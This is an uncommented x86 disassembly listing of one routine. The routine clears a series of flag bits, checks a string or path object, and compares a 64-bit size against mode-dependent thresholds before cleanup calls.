and eax, 0xffffffef
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 8
je 0x41ab7d
and eax, 0xfffffff7
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 4
je 0x41ab9b
and eax, 0xfffffffb
lea ecx, [ebp - 0x548]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 2
je 0x41abb9
and eax, 0xfffffffd
lea ecx, [ebp - 0x530]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 1
je 0x41abd1
and eax, 0xfffffffe
lea ecx, [ebp - 0x654]
mov dword [ebp - 0x504], eax
call fcn.004049c0
test edi, edi
jns 0x41abe6
lea ecx, [ebp - 0x624]
and edi, 0x7fffffff
call fcn.004049c0
test edi, 0x40000000
je 0x41abff
lea ecx, [ebp - 0x63c]
and edi, 0xbfffffff
call fcn.004049c0
test edi, 0x20000000
je 0x41ac18
lea ecx, [ebp - 0x60c]
and edi, 0xdfffffff
call fcn.004049c0
test edi, 0x10000000
je 0x41ac31
lea ecx, [ebp - 0x5f4]
and edi, 0xefffffff
call fcn.004049c0
test edi, 0x8000000
je 0x41ac4a
lea ecx, [ebp - 0x5dc]
and edi, 0xf7ffffff
call fcn.004049c0
test edi, 0x4000000
je 0x41ac63
lea ecx, [ebp - 0x5c4]
and edi, 0xfbffffff
call fcn.004049c0
test edi, 0x2000000
je 0x41ac7c
lea ecx, [ebp - 0x57c]
and edi, 0xfdffffff
call fcn.004049c0
mov dword [ebp - 4], 6
test edi, 0x1000000
je 0x41ac9c
lea ecx, [ebp - 0x594]
and edi, 0xfeffffff
call fcn.004049c0
cmp byte [ebp - 0x509], 0
jne 0x41a158
lea ecx, [ebp - 0x2c]
call fcn.004169e0
cmp al, 1
je 0x41a158
cmp byte [ebp + 0x3c], 1
jne 0x41ad6d
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x44]
call fcn.004312d0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x34
call fcn.0040aea0
cmp eax, 0xffffffff
je 0x41ad12
push eax
push 0
call fcn.004310e0
push 0x4ff8ec
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x688]
call fcn.00439b40
add esp, 4
lea ecx, [ebp - 0x44]
push eax
call fcn.004311d0
lea ecx, [ebp - 0x688]
call fcn.004049c0
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
push eax
call fcn.004312d0
lea ecx, [ebp - 0x688]
call fcn.0040f570
add esp, 0x18
lea ecx, [ebp - 0x44]
push eax
call fcn.004311d0
lea ecx, [ebp - 0x688]
call fcn.004049c0
push 0
lea eax, [ebp - 0x44]
mov ecx, 0x51fd48
push eax
call fcn.00430ed0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x44]
cmp eax, 0xffffffff
jne 0x41ad68
call fcn.004049c0
jmp 0x41a158
call fcn.004049c0
push 0xb8
lea eax, [ebp - 0x1f4]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0x2c]
lea ecx, [ebp - 0x1f4]
push 0x20
push eax
call fcn.00433b00
push ecx
push 0
push 0
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 0x35
call fcn.00434ae0
lea eax, [ebp - 0x688]
push eax
lea ecx, [ebp - 0x1f4]
call fcn.00434a00
mov ecx, eax
mov esi, dword [ecx + 8]
add esi, dword [ecx]
mov eax, dword [ecx + 0xc]
adc eax, dword [ecx + 4]
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x508], eax
call fcn.00433a90
mov eax, dword [ebp + 0x38]
cmp eax, 1
jne 0x41ae05
mov eax, dword [ebp - 0x508]
test eax, eax
jg 0x41ae9d
jl 0x41ae95
cmp esi, 0x9c4000
ja 0x41ae9d
jmp 0x41ae95
cmp eax, 2
jne 0x41ae38
mov eax, dword [ebp - 0x508]
add esi, 0xff63bfff
adc eax, 0xffffffff
test eax, eax
ja 0x41ae9d
jb 0x41ae95
cmp esi, 0x270fffe
ja 0x41ae9d
jmp 0x41ae95
cmp eax, 3
jne 0x41ae5d
mov eax, dword [ebp - 0x508]
add esi, 0xfcf2c000
adc eax, 0xffffffff
cmp eax, 2
ja 0x41ae9d
jb 0x41ae95
cmp esi, 0x6df2c000
ja 0x41ae9d
jmp 0x41ae95
cmp eax, 4
jne 0x41ae82
mov eax, dword [ebp - 0x508]
add esi, 0x8effffff
adc eax, 0xfffffffd
cmp eax, 0x2e
ja 0x41ae9d
jb 0x41ae95
cmp esi, 0x62ffffff
ja 0x41ae9d
jmp 0x41ae95
cmp dword [ebp - 0x508], 0x30
jl 0x41ae9d
jg 0x41ae95
cmp esi, 0xd4000000
jbe 0x41ae9d
lea ecx, [ebp - 0x2c]
call fcn.0040f5e0
lea ecx, [ebp - 0x1f4]
mov byte [ebp - 4], 6
call fcn.0040ac80
jmp 0x41a158
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
call fcn.00438080
int3